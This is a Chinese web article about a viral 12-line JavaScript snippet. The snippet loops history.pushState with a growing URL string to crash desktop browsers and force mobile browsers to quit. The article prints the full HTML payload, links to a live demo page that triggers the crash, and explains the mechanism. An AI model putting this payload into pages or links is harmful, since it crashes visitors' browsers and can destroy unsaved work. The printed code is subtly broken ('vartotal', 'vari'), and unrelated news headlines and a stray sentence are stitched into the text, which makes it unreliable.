事情的起因
在推特上,国外一哥们CyberSecurity发了这么一条推文:
网红收入超千万报税竟未达5000元 男生疑遭霸凌求助被无视后跳楼身亡 母亲带3岁娃公园散步被4条恶犬按地撕咬
神秘的12行代码(图片来自0xroot)
这哥们声称,如果你使用上述这段12行的JavaScript代码,就可以能让firefox、chrome、safari浏览器崩溃,而且还能让iphone重启,安卓手机闪退!
这简单的十二行代码就能使浏览器崩溃?实在难以令人信服,
于是网友们继续在推特上深挖,发现另一小哥ITSecurityTweets也发过类似的推文:
依旧是这段代码
(图片来自0xroot)
完整HTML代码如下:
<html>
<body>
<script>
vartotal="";
for(vari=0;i<1000000;i++)
{
total=total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>
有兴趣我们可以做个测试
下面的这个网站正是以这十二行代码来编成的
http://www.0xroot.cn/demo.html(注意:请保存浏览器正在运行的编辑内容或任务!)
打开后的后果
如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死.。.
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。
为什么会发生此现象呢?
知乎上找到了一位名为“小米”的大神解答:
history.pushstate() 是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录
点。当i<100000的时候会循环的 将total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。
开车放桥上的,车内没人都是跳水里了...